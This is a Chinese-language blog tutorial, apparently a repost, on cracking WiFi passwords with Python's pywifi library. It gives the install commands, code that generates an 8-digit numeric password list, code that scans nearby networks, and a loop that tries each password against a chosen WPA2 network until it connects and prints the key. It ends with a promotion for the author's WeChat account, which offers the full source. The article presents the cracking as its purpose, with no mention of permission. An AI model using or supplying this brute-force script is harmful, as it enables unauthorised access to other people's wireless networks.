著作權宣告:原創不易,本文禁止抄襲、轉載,侵權必究!
一、pywifi簡介&安裝
開發環境:Windows10 Python3.6.4
第三方庫:pywifi-1.1.12
IDE :PyCharm/Sublime Text
pywifi簡介:
pywifi是python中一個用于操作無線介面的第三方庫,可以跨平臺使用,支持Windows和Linux,在這里我們用來執行wifi的操作,包括連接、掃描、斷開等
pywifi安裝:
pip install comtypes -i https://pypi.doubanio.com/simple pip install pywifi -i https://pypi.doubanio.com/simple

pywifi-1.1.12依賴于comtypes,所以也需要安裝一下comtypes
二、暴力構建WiFi密碼
WiFi密碼一般由數字(0-9)、字母(區分大小寫)以及特殊字符(!@#&*.等)組成,為了方便教程的演示,這里僅顯示由數字組成的8位字符,作為wifi密碼存入txt檔案,有些WiFi密碼可能稍微復雜一點,延長字符長度或增加字母、特殊字符就行
代碼如下:
astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密碼長度 with open('pwd.txt', 'a', encoding='utf-8') as f: for pwd in pwds: f.write(''.join(pwd)) f.write(''.join('\n'))

有10位數字組成的暴力破解WiFi密碼共有100000000種,記憶體占用約953.67MB,由此可見,暴力破解對記憶體的要求比較高
三、編碼破解WiFi
WiFi掃描編碼:
interface = self.wifi.interfaces()[0] #使用索引序號0獲取第一個無線網卡 interface.scan() print('掃描WiFi中,請稍后………………') time.sleep(1) print('掃描完成!\n' + '*' * 50) print('\n%s\t%s\t%s' % ('WiFi編號', 'WiFi信號', 'WiFi名稱')) wifiList = interface.scan_results() #回傳一個串列 wifiNewList = [] for w in wifiList: wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) #解決亂碼問題并回傳元組 wifiNewList.append(wifiNameAndSignal) wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True) # 按信號強度倒序 index = 0 while index < len(wifi_signal_and_name_list): print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1])) index += 1 print('\n' + '*' * 50)
掃描效果如下:

WiFi破解編碼:
profile = pywifi.Profile() #創建連接檔案(物件) profile.ssid = wifiName #wifi名稱 profile.auth = const.AUTH_ALG_OPEN #需要認證 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi默認加密演算法 profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd interface.remove_all_network_profiles() #洗掉所有wifi連接檔案 tmp_profile = interface.add_network_profile(profile) #設定新的wifi連接檔案 interface.connect(tmp_profile) #開始嘗試連接 startTime = time.time() while time.time() - startTime < 1.5: if interface.status() == 4: print('連接成功!密碼為:%s' % pwd) exit(0) else: print('正在用密碼 %s 嘗試破解…………' % pwd)
完整破解效果如下:


四、完整原始碼下載
關注我的原創公眾號【小鴻星空科技】,回復【Python破解WiFi】關鍵詞獲取完整原始碼
五、作者Info
Author:南柯樹下,Goal:讓編程更有趣!
原創微信公眾號:『小鴻星空科技』,專注于演算法、爬蟲,網站,游戲開發,資料分析、自然語言處理,AI等,期待你的關注,讓我們一起成長、一起Coding!
著作權宣告:本文禁止抄襲、轉載 ,侵權必究!
—— —— —— —— — END —— —— —— —— ————
歡迎掃碼關注我的公眾號
小鴻星空科技

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/538592.html
標籤:Python
上一篇:爬取xx樓市隨筆
